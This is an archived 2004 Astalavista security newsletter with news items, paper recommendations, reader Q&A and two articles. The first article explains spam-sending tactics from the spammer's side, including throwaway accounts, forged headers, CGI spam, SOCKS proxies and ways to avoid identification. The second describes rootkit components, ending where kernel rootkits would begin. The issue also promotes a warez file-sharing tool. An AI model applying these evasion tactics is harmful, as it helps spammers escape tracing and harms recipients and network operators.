what you don't know can hurt you


Posted Mar 1, 2005
Authored by astalavista

Issue 5 Astalavista Security Newsletter

MD5 | a56a251dec9484cb16cfdea140679bcf


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|- Astalavista Group Security Newsletter -|
|- Issue 5 05 April 2004 -|
|- http://www.astalavista.com/ -|
|- security@astalavista.net -|

- Table of contents -

[01] Introduction
[02] Security News
- Bizex Worm targets ICQ instant messenger users
- Hosting company reveals hacks, citing disclosure law
- A new security product attacks the attackers
- Windows 2000 source code leak 'not a security threat'
- Major updates for various Microsoft's applicattions
[03] Astalavista Recommends
- The Palestinian-Israeli Cyberwar
- Firewall Forensics (What do I see?)
- Google - a hacker's best best friend
- Malicious threats and vulnerabilities in instant messanging
- Outsourcing managed security services
- Securing an internet name server
- Securing a domain howto
- Voice over internet protocol overview
- Potential strategies for high speed active worms
- Xprobe v2.0 - remote active operating system fingerprinting
[04] Site of the Month - IWS - http://www.iwar.org.uk/
[05] Tool of the month - Warez P2P Tool
[06] Paper of the month - Manager's Guide to Information Security
[07] Free Security Consultation
- I'm sick of these worms...
- I own a small company...
- I'm interested in a cost-effective security solution...
[08] Enterprise Security Issues
- Bulk Email Transmission Tactics
- The Art of Rootkits
[09] Home Users Security Issues
- Online Security Tests
[10] Meet the Security Scene
- Interview with Richard Menta http://BankInfoSecurity.com/
[11] Security Sites Review
- Makesecure.com
- Net-Security.org
- NTSecurity.net
- Macintoshsecurity.com
- Hack3r.com
[12] Astalavista needs YOU!
[13] Astalavista Security ToolBox DVD Promotion
[14] Astalavista.net Advanced Member Portal Promotion
[15] Final Words

01. Introduction

Dear Subscribers,

Welcome to Issue 5 of Astalavista's Security Newsletter!

In this issue of our newsletter you're going to read several different articles contributed by fans, browse through a
comprehensive summary of the latest security issues, learn more aboit rootkits, bulk mail transmission tactics, online
security scanners, and follow a very interesting interview with Richard Menta. Enjoy!

We have just updated our web site with more information about Astalavista.com

The History of Astalavista can be located at:


The Astalavista's FAQ can be located at:


Mail us at security@astalavista.net

Previous Issues of Astalavista's Security Newsletter can be found at:


Editor - Dancho Danchev

Proofreader - Yordanka Ilieva

02. Security News

The Security World is a complex one. Every day a new vulnerability is found,
new tools are released, new measures are made up and implemented etc.
In such a sophisticated Scene we have decided to provide you with the most
striking and up-to-date Security News during the month, a centralized
section that contains our personal comments on the issue discussed.
Your comments and suggestions about this section are welcome at


A new worm is targeting users of the ICQ instant messenger by tricking them into
clicking on links delivered via IM, security experts said on Tuesday.
About 50,000 machines have been infected with the Bizex worm, said Moscow-based Kaspersky Labs.
The security firm called outbreak the first global epidemic among ICQ users.
Invitations to a malicious site lead ICQ users to the jokeworld.biz Web site, where vulnerabilities
in both Internet Explorer and Windows are used by the hacker to download the worm and launch
it on the compromised machine. Bizex spreads by hijacking ICQ contacts from the infected machine,
then sending IMs with the link to jokeworld to all those contacts.

More information can be found at:


Analyses by anti-virus vendors can be found at:

Symantec - http://securityresponse.symantec.com/avcenter/venc/data/w32.bizex.worm.html
Kaspersky - http://www.kaspersky.com/news.html?id=4277566
Sophos - http://www.sophos.com/virusinfo/analyses/w32bizexa.html

Astalavista's comments:

Obviously, it's the worms' month! This one should have infected much more by now, as usually, visiting a site
instead of opening an attachment with jokes sounds more secure to an end user. Something else to consider is the
lack of response from ICQ Inc. bad PR or whatever - they've missed an opportunity that could have been highly
beneficial in the increasingly competitive instant messanging software market.


Citing California's security breach disclosure law, Texas-based Allegiance Telecom notified 4,000 Web
hosting customers this week of a recent computer intrusion that exposed their usernames and passwords,
in a case that experts say illustrates the security sunshine law's national influence.

More information is available at:


Astalavista's comments:

While it is great that a company is complying with 1386, trust me, it usually wants to do it
as quietly as possible, which is where the media picks it up and sometimes it gets even worse. It will be
some time before a large number of companies start doing that, and remember they want to do it as quietly as
possible, and not in such a formal way.


Symbiot, a Texas-based security company, plans to release a corporate defense system that fights
back against distributed denial-of-service and hacker attacks by launching counterstrikes. Symbiot,
located in Austin, said it bases its theory on the military doctrine of "necessity and proportionality,"
which means that the response to an attack is proportionate to the attack's ferocity.

More information is available at:


Astalavista's comments:

Attractive to be aware of military theory, but as far as DDoS attacks are concerned, this is probably the worst
thing you could do since it will expand the impact of the DDoS attack by attacking the hacker's anonymous
hosts, which are unaware home and enterprise users all over the world.


Security experts say Microsoft's embarrassing Windows 2000 source code leak is unlikely to have given hackers
more ammunition. Security experts say that Windows users are unlikely to face any increased security risks as a
result of a leak of Windows 2000 source code discovered on Thursday, mainly because it is a simple matter for
hackers to find Windows vulnerabilities without recourse to the code.

More information is available at:


Astalavista's comments:

Based on the number of Windows vulnerabilities released so far, I consider it's obvious that vulnerabilities can
be found even without having the source code of the application, let's just say that now it's going to be even
easier for hackers to find these vulnerabilities.


Microsoft released quite a large number of patches during the month, some of them are rated as important, so
make sure you have the latest version of the software you're using.

Locate the latest Microsoft's patches at:


--- Advertise at Astalavista.com ---

Are you interested in advertising opportunities at the world's
most popular computer security web site?

More information about our services is available at:


--- Advertise at Astalavista.com ---

03. Astalavista Recommends

This section is unique by its idea and the information included within. Its
purpose is to provide you with direct links to various white papers covering
many aspects of Information Security. These white papers are defined as a "must
read" for everyone interested in deepening his/her knowledge in the Security field.
The section will keep on growing with every new issue. Your comments and suggestions
about the section are welcome at security@astalavista.net


Quite an interesting paper, written by colonel Patrick.D.Allen and lieutenant colonel Chris Demchak, discussing
the cyber conflict between Palestina na Israel in September, 2000.



FAQ discussing the various issues related with analyzing firewalls traffic.



Google is often blamed for being the hacker's best friend in terms of locating sensitive data, namely credit
card databases, password lists, etc. this paper will give you an overview of the issue.



This paper discusses various problems related with the security of instant messanging software



One of the best papers on the benefits of managed security services I've come across



A detailed paper covering everything you've ever wanted to know about securing a name server



Easy to follow howto on how to secure your domain



Although it is not security related, read this one if you're not familiar with the way VOIP work



This paper discussed the worst case scenario of a fast spreading internet worm



Xprobe is a remote active operating system fingerprinting tool, this paper discusses its unique features


04. Site of the month

IWS - The Information Warfare Site


05. Tool of the month

Warez P2P v2.0

Warez is a spyware-free file-sharing program. Search for and download your favorite music
and video files shared by other users on a free peer-to-peer network.


06. Paper of the month

Manager's Guide to Information Security

A paper intended to provide the company's management with an overview of the
Information Security issue


07. Free Security Consultation

Have you ever had a Security related question but you weren't sure where to
direct it to? This is what the "Free Security Consultation" section was created for.
Due to the high number of Security concerned e-mails we keep getting on a
daily basis, we have decided to initiate a free of charge service, and offer
it to our subscribers. Whenever you have a Security related question, you are
advised to direct it to us, and within 48 hours you will receive a qualified
response from one of our Security experts. The questions we consider most
interesting and useful will be published at the section.
Neither your e-mail, nor your name will be present anywhere.

Direct all of your Security questions to security@astalavista.net

Thanks a lot for your interest in this free security service, we are doing our best to respond
as soon as possible, and provide you with an accurate answer to your questions.

Question: I'm happy to be a subscriber of your newsletter, thanks for the security@astalavista.net service
as well! I've been using the Internet for the past two years, and I must honestly say that I'm sick of
these worms, I can't keep up-to-date with the latest one, I have a Zonealarm firewall, and an anti-virus scanner,
but I still believe my computer is insecure, I would appreciate your help.

Answer: Keeping up-to-date with the latest worms is important just because you'll be more aware, but it won't
solve your problem. Having a firewall and an anti-virus would help you a lot as the majority of infected users
don't have these, but keep in mind the following - always make sure you have the latest update of your anti-virus
scanner and pay attention to the files you allow to access the Internet, and never, never open attachments if
you have doubts of their origin.

Question: Hi, here's my situation.I own a small company, we communicate with other partners and customers
mostly over the Internet to save costs, what I'm worried about is that we send files and sensitive information
just using a password for the archive - the password is believed to be a secure one, how secure is this method?

Answer: Companies often use this method, just because it doesn't require any additional software
(encrypting on for example), althought this is considered to be the most insecure way of trasfering files
across the Internet, breaking the password is a matter of time, but think for a while that the whole confidentiality
of your sensitive data is protected by an archive password. You should start using encryption, and PGP is the
perfect solution for you and your business, most importantly, it's not that hard to install and use.

Question: Hi, I was just wondering if you could help me solve my problem. I'm interested in a cost-effective
security solution as far as choosing an IDS product is concerned - we've already have an anti-virus
gateway and a firewall protection in our office network.

Answer: It's great to see that you're interested in purchasing an IDS product, you're taking security pretty
seriously, which is just great. As you're looking for a cost-effective, yet effective solution, I would recommend
you to start using Snort(http://snort.org) which is one of the best open-source IDS, although you would have to be
familiar with the Linux OS, otherwise you may try to find a managed security solutions provider offering you an
IDS installation and maintainance. A list of Windows based IDS, with their prices can be located at:


08. Enterprise Security Issues

In today's world of high speed communications, of companies completely
relying on the Internet for making business and increasing productivity, we have
decided that there should be a special section for corporate security, where
advanced and highly interesting topics will be discussed in order to provide
that audience with what they are looking for - knowledge!

Bulk Email Transmission Tactics
By MrYowler
mryowler [at] cyberarmy.com


The purpose of this document is to describe tactics used both to enable,
and to prevent the distribution of unsolicited email; hereafter referred to as 'spam',
for brevity. This document is written largely from the perspective of the spammer, describing measures
taken by anti-spam organizations, available countermeasures, limiting factors, risks, and benefits
to the spammer.


SMTP mail servers typically log the IP address from the received mail, in the message headers of
any email message. These headers typically look something like this:

Received: from cnet.wlink.com.np (cnet.wlink.np [])
by target.mailserver.com (Postfix) with SMTP id 69EE635D39
for <someone@mailserver.com>; Sun, 18 Mar 2001 21:40:45 -0800 (PST)
Received: from 01-025.031.popsite.net (HELO (
by cnet.wlink.com.np with SMTP; 19 Mar 2001 05:45:41-0000

In this message, the source of the email appears to have been, which is an IP address within a
network managed by Business Internet, Inc. (The organizational information was obtained, using the IP address,
from the public database maintained by the American Registry of Internet Numbers; also known as ARIN.)
They appear to be using the address space to provide dialup access for their customers.
The sender was sending his mail through an open SMTP relay at, and that is where the
destination SMTP mail server received the message form. The open SMTP relay is apparently a server belonging
to an Internet Service Provider (ISP) in Nepal (again, as determined from the ARIN, and related, databases).

The relaying SMTP server logged the IP address of the spammer, when they connected to the relayer, and the
destination SMTP server logged the IP address of the relayer, when the relayer connected to the destination.
The result is that the receipt has only to examine the message headers in the email that they received,
to know where it came from. Once they see the delivery path, they are then able to contact the ISP of the
sender, to have the sender identified for any applicable legal action, and to have sender's account cancelled.
They can also, in this case, contact the service provider that is used as the relayer, and alert them to
the situation - this allows the relayer to also engage any applicable legal action (the relayer is very likely
to have several legal remedies at their disposal), and it allows them to take steps to block future
attempts to use them as relay. And, it allows both the target ISP, and any interested third pary
organizations - such as the Mail Abuse Prevention System (MAPS) and the Open Relay Behavior-modification
System (ORBS), to begin filtering the open relay server, to prevent it from being able to deliver mail
to its intended destinations.

Because of these issues, most bulk email advertisers (spammers) have a desire to disguise the sources of
their mailings.


SMTP Relay

Obviously, SMTP relay is the simplest tactic to implement, for sending mail. Additionally, when using the
relay tactic, a spammer has only to send his message, and a list of email address, and the relay server will
them attempt to deliver the message to everyone on the list. Since the relay server usually has a great deal of
more bandwidth available than the spammer has, it is possible to send a lot of email
messages, in a relatively short time, through a relay server.

Most email service providers have policies against the use of their SMTP servers, for the transmission of
bulk email, and many legal jurisdictions provide for extensive civil and criminal remedies against spammers
who do this. Furthermore, SMTP relay provides a high profile of visibility, on the relay server;
email receipts can easily discover the source of relay attempt. Also, the relay server administrators
generally have no difficulty discovering the source of the relay attempt. Also, the relay attempt usually
consumes a large percentage of the relay server's resources, rapidly alerting the server administrator to
the presence of unusual activity levels, and attracting their attention to the activity.
Many administrators limit the number of receipt levels, that they will accept, before blocking transmission
of the email, and often, violations of these limits result in the administrator being alerted to the
spammer's activity.

Sometimes, an SMTP server administrator will either react slowly, or not at all, to the use of their servers
as relays. On rare occasion, someone will even put up an SMTP server, for the expressive purpose of selling
relay services to spammers. When this happens, such servers are generally rapidly identified by ISPs or
third-party services, which exist specifically for the purpose of identifying bulk email sources,
on behalf of SMTP server administrators. Once identified, ISPs will begin to refuse mail coming from
these sources. Many spammers will get upset at relay service providers, when their mail stops reaching
the desired destinations, as a result of this; such a response is unwarranted and silly - no one can
force a destination SMTP server to accept their content. The best that can be done is to try to keep a
low profile on the destination SMTP server/s and administrator/s. If the destination mail server will
not accept a spammer's content, it's not the relay provider's fault; it's the spammer's one, for sending content
that the destination network has established policies to avoid accepting. In fact, such a provider may
have legal recourse against the spammer, for causing a denial of SMTP service to their network.
The primary value of most bulk mail relay services lies in the fact that a server set up specifically for
this purpose can easily disguise or neglect to add the message header containing the source IP address of
the sender - not in any guarantee of successful or timely message delivery.

"Throwaway Accounts"

SMTP relays come in two flavors; the open relay, and restricted relay. Open SMTP relays are servers that
will allow users from outside of the network that they are serve, to relay mail through them,
to destinations which are also outside of their networks. Restricted SMTP relays generally limit access
such that only users who are on the network that the server is designated for, are allowed to send email
to destinations outside of that network. Typically, a restricted SMTP server at an Internet access provider,
will allow dialup users of that access provider, to use it to send mail, and will only allow accept mail
from other sources, if it is destined for an email address belonging to one or more of the access
provider's users. Open SMTP relays are fairly easily exploited; they are essentially configured to allow
anyone to use them, while restricted servers require more aggressive tactics. The advantage of using
restricted SMTP servers is that they are less likely to be filtered to prevent mail from reaching its

One common way to use restricted SMTP servers is to obtain a user account on the network that is authorized
to use the server; this is commonly referred to as a 'throwaway account'. While many Internet access providers
have tools at their disposal to detect and cancel such accounts, or to restrict the amount of email which
can be sent from them, some (particularly smaller organizations) may be slow to respond, or less effective
in dealing with this situation. Since this activity will almost certainly violate the access provider's
Acceptable Use Policy (AUP), the spammer should take steps to ensure that the access provider does not have
accurate identifying information with which to pursue civil or criminal legal action. This information
may include billing information, account information, or information obtained through Caller-ID telephone
services. (If the spammer dials into the service provider's network through a toll-free telephone number,
telephone billing data provided by the internet access provider's telephone service, may be as revealing
as Caller-ID, even in the presence of Caller-ID blocking.) A simple way to mask much of this identifying
information is to send email from free dialup access provider services, or from Internet cafes or hotels,
where such information is never provided to an access provider, or can be readily falsified.
Also, since such accounts will generally be rapidly cancelled, it is best not to invest too much money
into access agreements, anyhow. It takes little sense to pay monthly rates for access accounts that will
likely be cancelled within a few days, and the spammer is not likely to get any money back, for the unused
time - even the attempt to pursue such a refund, servers only to identify the spammer for ensuring legal
remedies. The most effective use of a 'throwaway account is typically over a weekend, holiday, or late at
night, when there are likely to be less resource administrators present, to identify and stop this sort of
activity, and when recipients of the email, who might complain to these administrators, are less likely to
be examining their email or pursuing such complaints.

Falsified Headers:

Some spammers will attempt to add falsified SMTP 'received by' headers to an email message, in the effort
to disguise the source of the messages; while this tactic might fool uneducated users into pursuing
complaints to incorrect authorities, the most aggressive pursuers will generally be familiar enough with
network topologies and the SMTP protocol, to identify such misleading tactics. These pursuers will
not generally be fooled by a falsified SMTP header, and may use it as a basis for pursuing legal action
on the basis of the misinformation that the falsified headers represent. Depending upon the legal
jurisdiction involved, this could also be construed as a form of fraud, or defamation of the character
of the organization that the form of trademark infringement.

The most common application of this tactic is to insert the falsified 'Received by' header
in the text of the message, even before the 'Subject' header. (See the SMTP protocol engineering
specification, RFC 821, for a detailed description of how this is accomplished.) An example of the text
of such a message , follows:

Received: from mc1.law13.hotmail.com []
by 01-025.031.popsite.net with SMTP; 18Mar 2001 21:39:26 -0000
Subject: Don't miss out!

Dear Valued Customer;

Don't miss out on this great opportunity to make a million dollars by Tuesday! Send your check for only $19.95,
for the "Millionaire by Tuesday" pyramid scheme, before Tuesday passes you by!

This results in headers that look something like this, in the received email:

Received: from some.relayserver.com (relay.mailserver.com [])
by target.mailserver.com (Postfix) with SMTP id 69EE635D39
for <someone@mailserver.com>; Sun, 18 Mar 2001 21:40:45 -0800 (PST)
Received: from 01--25.031.popsite.net ( [])
by some.relayserver.com with SMTP; 19 Mar 2001 05:39:41 -0000
Received: from mc1.law13.hotmail.com []
by 01-025.031.popsite.net with SMTP; 19 Mar 2001 05:39:26 -0000

Let's examine a few points of interest, in these headers.
First, we can see that the falsified header is the one on the bottom. This is unavoidable, since each SMTP
server that the spammer connects to will add it's own headers, above the ones that came before. As a result,
the most trusted headers will inevitably be the ones on top, with only the uneducated user, trusting the
headers below it.

Next, let's examine the last header's supposed server hostname, 01-025.031.popsite.net. Although this is a
valid hostname, it is also fairly obviously not a mail server. This hostname follows the naming convections
commonly used by dialup access providers, to describe an IP address that is allocated to a dialup access IP
address pool, and in fact, a little investigation would rapidly reveal which access provider it is.
If, indeed, this host was acting as an SMTP replay, then the fact that it does so, on a dialup IP,
is a strong indicator that it was set up for the express purpose of delivering spam.

Next let's examine the host that 01-025.031.popsite.net claims to have received the messages from,
mc1.law13.hotmail.com. On the plus side, the hostname and IP address do appear to match;
mc1.law13.hotmail.com resolves in the domain name system, and vice-versa. Unfortunately,
this particular host is also a well-known Hotmail servers that would appear in a chain.
While this could be further obfuscated by adding additional falsified headers, showing more hotmail servers,
the next header, above Hotmail, still shows a dialup IP address. Hotmail would not attempt to deliver mail
through some dialup user's connection.

Next, let's examine the dates and time, in each header. In this example, the dates and times all appear,
in ascending order, and fairly close to each other. (Note that the top header is showing Pacific Standard Time,
8 hours behind GMT, which is what the other server clocks appear to be set to.) Since, however,
the header at the bottom is falsified, this date and time is not likely to change, over the course of
the mailing - the disparity between its timestamp and the one on the header above it
is likely to increase, as the mailing progresses. This disparity, or any indication of dates and times
out of order, is an indication of which headers are not trustworthy. This too, could be handled,
if the spammer adjusts his falsified header, with each message that he sends, but most spammers use
software that is not sophisticated enough for that.

SMTP Server emulators (Desktop Servers):

One measure used by spammers, is to transmit mail directly from their desktop PC, to the destination SMTP
server. The resulting headers are shown below:

Received: from 01-025.031.popsite.net 9216.3.181.25[])
by target.mailserver.com (Postfix) with SMTP id 69EE635D39
for <someone@mailserver.com>; Sun, 18 Mar 2001 21:40:45 -0800 (PST)

This approach has the advantage of removing the relay server from the equation. On the down side, without
a relay server, operating on much higher bandwidth capacity than the spammer's own connection,
the amount of mail that can be transmitted is substantially reduced. Of course, the source IP address
still points directly back to the spammer, so all of the same risks apply, except that since no relay
occurred, the risk of legal resource may be diminished. Filtering can still occur, but it takes a slightly
different form; instead of the relaying SMTP server getting filtered, either the ISP or the third-party
groups can begin filtering dialup accounts, so that they are only able to connect to the designated SMTP
server, for the ISP's network. This is a common point of complaint, among spammers who purchase
'Desktop Server' software, only to discover that they cannot relay off of mail servers outside of their
ISP's network - they have not been ripped off by their software vendor, their ISP - or the destination
network - has simply implemented countermeasures, to defeat the 'Desktop Server' tactic.

Some 'Desktop Servers' attempt improve upon the reduced throughput of this tactic, by attempting to deliver
mail to multiple recipients, on a single destination SMTP server. While this approach has merit,
many destination SMTP mail servers examine the number of destination addresses, and filter messages
which attempt to deliver to too many addresses. The actual filtering threshold varies with each
destination SMTP server. Furthermore, some destination SMTP servers will also filter incoming messages
based upon the sender's email address, or the message subject, or other such criteria.

CGI Spam:

The tactic attempts to conceal the source IP address of the spammer, by causing the message to be delivered
over SMTP, from some host other than the spammer's desktop system. CGI spam, in particular, accomplishes
this by transmitting the message to a web server, over the HyperText Transfer Protocol(HTTP),
and then relies upon the web server to transmit the message over SMTP. The result of this approach is a
set of headers that look something like this, assuming that the bulk mail is transmitted directly from the
web server to the destination SMTP server:

Received: from some.webserver.com (some.webserver.com [])
by target.mailserver.com (Postfix) with SMTP id 69EE635D39
for <someone@mailserver.com>; Sun, 18 Mar 2001 21:40:45 -0800 (PST)
Received: from localhost (localhost [])
by some.webserver.com with SMTP; 19 Mar 2001 05:45:41 -0000

or perhaps this, assuming that this tactic is combined with the SMTP relay tactic:

Received: from some.relayserver.com (some.relayserver.com [])
by target.mailserver.com (Postfix) with SMTP id 69EE635D39
for <someone@mailserver.com>; Sun, 18 Mar 2001 21:40:45 -0800 (PST)
Received: from some.webserver.com (some.webserver.com [])
by some.relayserver.com with SMTP; 19 Mar 2001 05:45:41 -0000

The advantage of this approach is that neither the recipient nor the SMTP server sees the IP address of the
spammer, and it does not get logged in the message headers. Instead, the message appears to come form the
web server, from which the message was first transmitted over the SMTP protocol. Of course, the web server
sees and logs the activity, but unless the spammer creates a high profile of activity on the server,
it is unlikely that this activity will be noticed, or that any correlation between the bulk email
and web server activity will be made. Additionally, if the spammer utilizes the proxy relay tactic,
in combination with this one, then even if the web server logs are examined, the IP address that appears
in them will be of that of the Proxy server.

The disadvantage is that this approach is more complex than others, and therefore consumes more server
side resources, producing significantly latency, and making implementation difficult. Additionally, since
there are so many server-side resources involved in the process, there are more server administrators and
log files involved, as well - this can be as much of the disadvantage as it can be an advantage.
If the administrators manage to combine resources, to track down and take action against the spammer,
then the extent of possible legal action and/or network countermeasures, and the effectiveness of the pursuit,
increase in geometric proportion to the resources involved. Fortunately, such cooperative action is rare,
and can be made increasingly difficult by using resources in different legal jurisdictions, and with disparate
cultural and lingual backgrounds.

Proxy relay:

This tactic hides the IP address of the spammer or relay server, by relaying data through a proxy using some
protocol other than SMTP. One such protocol is HTTP, and another is the SOCKS protocol. The application of
HTTP was discussed briefly, in the section on CGI spam, and although the SOCKS protocol can be used similarly,
it has somewhat more flexible applications, as well.

The SOCKS protocol allows TCP-based (HTTP and SMTP are both Internet protocols that ride on top of TCP)
communications to occur through some other host, than the one on which the client or server is running.
Principal intended uses of SOCKS and/or web proxy services include the following:

* Sharing of a single Internet IP address and connection, among multiple machines on a Local Area Network
* Filtering of Internet content and/or monitoring of Internet traffic - this is common on corporate and
educational networks.
* Privacy protection and security
* Server load balancing

The third application on the list is the particular application which spammers exploit.

There are two principal ways to exploit this:

The first is to set up the spammer's SMTP client software (whether SMTP relay-based, Desktop server based,
or CGI spam-based) to pass through one or more SOCKS (or, in the case of CGI spam tactics, HTTP)
proxy servers. Whatever target the client then connects to, will then see the IP address of the proxy server
which connected to it, rather than (or, in the case of HTTP proxies, perhaps in addition to) the spammers'
IP address. While it is possible to trace backwards, through the proxy/proxies, most SOCKS proxies are not even
configured to maintain logs of activity that passes through them, because such logging would introduce
substantial overhead and latency into the proxy server's performance - and even when there are logs,
they tend to get deleted often, because of the sheer volume of traffic (note that many HTTP proxies not
only maintain logs, but may also forward the spammer's IP address to the destination HTTP server,
in the HTTP request headers.) Furthermore, most service providers tend to be protective of such logs,
because they usually have a vested interest in protecting the privacy of their intended users, and because
releasing log data often leads to legal action, in which they may either be named as defendants,
or forced to appear as witnesses.

The second is to set up an SMTP relay server to connect to destination SMTP servers through one or more
SOCKS proxy servers. This create a scenario in which more than one spammer can relay through the relay server,
the relay server cam mask or simply fail to log the spammer's IP address, and SOCKS proxy server/s will mask
the relay server's IP address. This results in headers of this nature.

Received: from some.proxyserver.net (some.proxyserver.net [])
by target.mailserver.com (Postfix) with SMTP id 69EE635D39
for <someone@mailserver.com>;Sun, 18 Mar 2001 21:40:45 -0800 (PST)

Setting aside the potential legal issues, surrounding the use of the SOCKS proxy servers, this kind of
highly-anonymous SMTP relay service is the sort of thing that would be very popular among spammers,
and the sort of service for which one could conceivably charge a premium, to the spammers that would be likely
to want it. It has at least two obvious advantages, over using SOCKS tactics at the client side, in that
existing, low-cost, and widely available spam relay software would continue to be usable with such a service;
and it not only hide the IP address of the spammer, but it also hides the IP address of the relay server -
leaving the people who would otherwise pursue the spammer and/or relay service with very limited information
with which to do so. The pursuer/s would have to somehow divine that SOCKS proxy server/s were the method of
attack used, and they would then have to find and pursue some kind of audit trail which is firstly, unlikely
to exist, or to be maintained for any length of time; and secondly, unlikely to me made availbale to the
pursuers, even if it exists, and the link to look for it.

The negative side of this is very much like the negative side of CGI spam; if the proxy server administrators
begin to notice the activity, on their servers, they have a potential to combine resources to find the spammer,
in the case of SOCKS-enabled client software; or to find the SMTP relay service provider, in the case of
SOCKS-enabled SMTP relay server software. And, like the CGI Spam tactic, the legal liability,
network vulnerability and the risk of detection and capture, all rise in geometric proportion to the
resources that are applied to the task.



The first thing that spammers must always remember, is that they are reduced to using these tactics,
to hide their location on the Internet topology, by the fact that, in general, most people who use or
operate the internet don't like what the spammers are doing. Many spammers attempt to reassure themselves
that they provide a service to the public, or what they are doing is no more unethical than bulk postal
mailings. This attitude may serve to allow to sleep better at night, but it serves poorly , when dealing
with the countermeasures that the administrators of the various internet resources may take, to prevent the
spammer from getting his email to it destinations.

Bearing in mind that spammers are the 'bad guys', in the minds of most administrator of internet resources,
these administrators have the means to prevent 'bad guys' from using their resources. Not all administrators
are competent or inclined to do so; these administrators often find that other administrators treat them as
'bad guys', as well.

SMTP Server Administrators:
SMTP server administrators often run filters based upon the Open Relay Behavior-modification System (ORBS),
or the Mail Abuse Prevention System (MAPS), or other, similar third-party spam-resource identification
services. These systems seek to separate open SMTP relays from those which restrict access, and to
distinguish static IP addresses which contain legitimate SMTP mail servers from those dynamically allocated
(often dialup) IP addresses, which might only contain SMTP server emulators (desktop servers).
SMTP server administrators which subscribe to these, often free, services, can therefore often filter,
on the basis of the IP address alone, email which comes from open SMTP relay servers, or desktop servers
on a spammer's internet access account.

They can also filter incoming (or outgoing) email on the basis of the content of the message, the subject,
the 'from' address, or the message headers describing the path of delivery, for the message, and often do.
It is possible, within such filters, to specify whether mail is refused permanently, or only temporarily -
some particularly vicious administrators will specify that mail is only temporarily refused in an effort to
consume a spammer's network and host resources, attempting to redeliver mail that in fact, will never be

A message reaching an SMTP server with a long list of recipients, may be filtered, on that basis.
This could force a sender to send email in small batches, slowing down delivery considerably - assuming
that the spammer is even aware of the filter, to begin with. If not, the spammer may simply continue to
violate this filtering rule, wasting time and bandwidth, indefinitely, futilely trying to send a message
through a server that will never deliver it.

A message reaching an SMTP server, claiming to be 'from' an email address for which there is no record,
in the Domain Name Service system, of a receiving SMTP server, may be filtered, on that basis. This can
force a spammer to provide a 'from' address with a legitimate domain name, causing any misdelivered email
to be bounced to the provider address. The administrator of the network that receives this bounced traffic
may then have a basis for criminal legal action, on the basis that the spammer's bounced mail represented a
Distributed Denial of Service (DDoS) attach upon their network; a form of 'hacking' that is punishable under
criminal law, in many legal jurisdictions. Another common solution to this form of filtering, is to use
either the destination address, or just the domain portion of the destination address, to make up the 'from'
address; again, some SMTP servers will filter mail using these tactics. The most common form that this sort of
filtering takes, is to filter any mail claiming to be from a domain that is hosted by the destination SMTP
server, and is not coming from the IP network served by that server. SMTP servers also commonly filter
email coming from the same IP address, by progressively introducing delays into the delivery process,
slowing down the amount of messages per hour that the SMTP mail server will accept from the spammer.
(This tactic is especially effective at limiting the throughput of spammers who use 'throwaway accounts'
to get their mailing out, via the SMTP relay tactic, on their own Internet access provider.)
A useful counter-countermeasure for this tactic, is to send the email from multiple, rotating IP addresses,
perhaps by relaxing it through multiple SMTP replays (assuming that the SMTP replay does not implement this
tactic, proxies, or (in the case of CGI spam tactics), web servers.

Some SMTP servers will filter mail based upon the 'Subject' header in the email. This commonly takes the
form of examining the frequency with which a particular 'Subject' header appears in email messages passing
through the server, and blocking these messages, once they exceed some predetermined threshold.


Users can typically filter mail on the basis of content, subject, or 'from' address. Few users actually
implement any sort of filters, unless their email service provider does so, on their behalf (United States
courts have occasionally ruled that this violates the rules of free speech and/or free trade,
but on the whole, have maintained that network operators have the right to determine what traffic to permit
on their networks), or unless they begin to receive a great deal of spam. Nonetheless, all of the efforts of
any spammer, cannot guarantee that an intended recipient will ever receive a specific email, or that they
will ever read it, when it arrives.

Spamhauses will often sell the service of sending out email on behalf of their customers, and spam
software vendors will frequently sell their software, on the basis of either the amount of mail that can be
sent out, or on the basis that mail is more likely to get into the destination inboxes. No one can guarantee
delivery. Once again, for emphasis: No one can guarantee delivery. The recipient can easily filter messages,
so that all of the best efforts of everyone, will not get them to read the message - or they can simply not
read their email at all. It's true that some tactics get out more mail than others, and some tactics have
a better shot at delivery than others. But it is also true that someone is not interested in a spammer's
content, no one can make them read it.

There are some things that can be done, to determine whether users are reading a spammer's content,
and the strength, quality, and immediately of their reaction to it: these tactics will be covered in
a separate document in the next future.

The Art of Rootkits
By Marcus

What is a rootkit?

Rootkits come in all different shapes and styles, some more advanced than others.
Rootkits are basically programs that help attackers keep their position as root.
Notice it's called a "rootkit". 'root' meaning the highest level of administration on
*nix based systems and 'kit' meaning a collection of tools. Rootkits contain tools which help
attackers hide their presence as well as give the attacker full control of the server or host
continuously without being noticed.

Rootkits are usually installed on systems when they have been successfully compromised and the
highest level of access has been given (usually root) Some rootkits refuse to be installed until
the attacker has root access, due to read and write permission to certain files. Once the system
has been successfully compromised and the attacker has root, he\she may then install the rootkit,
allowing them to cover their tracks and wipe the log files.

A typical rootkit consists of the following utilities:

* Backdoor Programs - login backdoors, telnetd etc
* Packet Sniffers - Sniff network traffic such as FTP, TELNET,POP3
* Log-Wiping Utilities - Bash the logs to cover tracks
* DDoS Programs - Turn the box into a DDoS client
* IRC\Bots - Bots used to take over IRC channels
* Miscellaneous programs - May contain exploit, log editor

Different types of rootkits

Application rootkits - Established at the application layer
Kernel rootkits - Established at the kernel level (Core of any OS)

When I say "established" this could be referred to of where exactly the rootkit hides.

Now let's start of by looking at an application rootkit.

An application rootkit is basically a rootkit which "replaces" all the well know system binary files
(ls, netstat, killall) with "fake" or "Trojanned" ones. The trojaned or fake system files will help
hide the attackers presence, report false information to the system administrator and even provide
a Backdoor for the attacker. To help you understand this more I have provided a list of all the
typical system files, which are "replaced" to, help the attacker cover his or her tracks.
The list was taken from "Rootkit: Attacker Undercover Tools" by Sailman Manap.

Programs replace to hide attacker presence

· "ls", "find", "du" - Trojaned system file will be able to hide attackers file, directory
and stuff that have been brought into the system from being listing.
· "ps", "top", "pidof" - All these programs are process monitor program. Trojaned
program will hide attacker process from being listing.
· "netstat" - netstat is used to check network activity such as open port, network
connections establish and listening. Trojaned netstat will hide processes installed by
attacker such as ssh daemon or other services.
· "killall" - Trojaned "killall" will not be able to kill attacker process.
· "ifconfig" - When sniffer is running PROMISC flag is set to the nic. "ifconfig" is a
handy utility to set and to view setting of ethernet nic. Trojaned "ifconfig" will not
display the PROMISC flag when sniffer is running. This is useful to hide sniffer from
being detected.
· "crontab" - Trojaned "crontab" will hide the attacker’s crontab entry.
· "tcpd", "syslogd" - Trojanised "tcpd" and "syslog" will not log any connection made
by attacker. "tcpd" also capable to bypass tcp wrapper enforcement.

Let's take a look at a Kernel rootkit.

